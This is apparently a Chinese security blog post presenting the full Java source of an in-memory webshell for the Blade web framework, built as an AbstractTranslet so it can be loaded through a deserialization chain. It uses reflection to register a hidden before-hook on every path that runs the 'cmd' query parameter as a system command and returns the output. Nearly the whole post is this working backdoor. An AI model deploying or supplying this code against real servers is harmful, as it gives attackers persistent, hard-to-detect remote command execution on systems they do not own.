学习完Tomcat内存马,拿Blade来练练手,网上关于blade的内存马基本上都是利用动态注册Blade的路由来实现的,所以我这里就利用Blade中的Webhook来实现内存马,主要就是利用下面这个addWebHook方法来实现动态注册,比较简单

com.hellokaton.blade.mvc.route.RouteBuilder#addWebHook

image-20251230170027238

  1package com.xrntkk.Memshell;
  2
  3import com.hellokaton.blade.Blade;
  4import com.hellokaton.blade.mvc.RouteContext;
  5import com.hellokaton.blade.mvc.WebContext;
  6import com.hellokaton.blade.mvc.hook.WebHook;
  7import com.hellokaton.blade.mvc.http.HttpMethod;
  8import com.hellokaton.blade.mvc.http.HttpResponse;
  9import com.hellokaton.blade.mvc.http.Request;
 10import com.hellokaton.blade.mvc.route.Route;
 11import com.hellokaton.blade.mvc.route.RouteMatcher;
 12import com.hellokaton.blade.server.HttpServerHandler;
 13import com.hellokaton.blade.server.RouteMethodHandler;
 14import com.sun.org.apache.xalan.internal.xsltc.DOM;
 15import com.sun.org.apache.xalan.internal.xsltc.TransletException;
 16import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
 17import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
 18import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
 19import io.netty.channel.ChannelHandlerContext;
 20
 21import java.io.BufferedReader;
 22import java.io.InputStreamReader;
 23import java.lang.reflect.Field;
 24import java.lang.reflect.Method;
 25import java.lang.reflect.Modifier;
 26
 27public class BladeMemHook extends AbstractTranslet {
 28    static{
 29        try{
 30            WebHook webHook = new WebHook() {
 31                @Override
 32                public boolean before(RouteContext routeContext) {
 33                    WebContext context = WebContext.get();
 34                    HttpResponse response = (HttpResponse) context.getResponse();
 35                    Request request = context.getRequest();
 36                    try{
 37                        String cmd = request.query("cmd", "");
 38                        System.out.println(cmd);
 39                        if(cmd!=""){
 40                            Process process = Runtime.getRuntime().exec(cmd);
 41                            StringBuilder output = new StringBuilder();
 42                            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
 43                            BufferedReader errReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
 44                            String line;
 45                            while ((line = reader.readLine()) != null) {
 46                                output.append(line).append("\n");
 47                            }
 48                            while ((line = errReader.readLine()) != null) {
 49                                output.append(line).append("\n");
 50                            }
 51
 52
 53                            response.body(output.toString());
 54
 55                        }
 56
 57                    }
 58                    catch (Exception e) {
 59                        e.printStackTrace();
 60                    }
 61                    return false;
 62                }
 63
 64                @Override
 65                public boolean after(RouteContext context) {
 66                    System.out.println("after route");
 67                    return WebHook.super.after(context);
 68                }
 69            };
 70
 71            Blade blade = WebContext.blade();
 72
 73            //要手动加入ioc容器
 74            blade.ioc().addBean(webHook);
 75
 76            RouteMatcher routematcher = blade.routeMatcher();
 77            WebContext webContext = WebContext.get();
 78            ChannelHandlerContext handlerContext = webContext.getHandlerContext();
 79            Class handlerContextClass = handlerContext.getClass();
 80            Field handler = handlerContextClass.getDeclaredField("handler");
 81            handler.setAccessible(true);
 82            HttpServerHandler httpserverhandler = (HttpServerHandler) handler.get(handlerContext);
 83
 84            Class httpserverhandlerClass = httpserverhandler.getClass();
 85            Field routeHandler = httpserverhandlerClass.getDeclaredField("routeHandler");
 86            routeHandler.setAccessible(true);
 87            RouteMethodHandler routeMethodHandler = (RouteMethodHandler) routeHandler.get(httpserverhandler);
 88
 89            Class routeMethodHandlerClass = routeMethodHandler.getClass();
 90            Field hasBeforeHook = routeMethodHandlerClass.getDeclaredField("hasBeforeHook");
 91            Field modifiersField = Field.class.getDeclaredField("modifiers"); 
 92            modifiersField.setAccessible(true);
 93            modifiersField.setInt(hasBeforeHook , hasBeforeHook.getModifiers() & ~Modifier.FINAL);
 94            hasBeforeHook.setAccessible(true);
 95            hasBeforeHook.set(routeMethodHandler, true);
 96
 97            Class routematcherClass = routematcher.getClass();
 98
 99            Method addRoute = routematcherClass.getDeclaredMethod("addRoute", Route.class);
100            addRoute.setAccessible(true);
101            addRoute.invoke(routematcher, new Route().builder().target(webHook).targetType(webHook.getClass()).action(webHook.getClass().getDeclaredMethod("before", RouteContext.class)).path("/*").httpMethod(HttpMethod.BEFORE).build());
102
103            routematcherClass.getDeclaredMethod("register").invoke(routematcher);
104
105        }catch(Exception e){
106            e.printStackTrace();
107        }
108    }
109    public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
110    }
111    public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
112
113    }
114}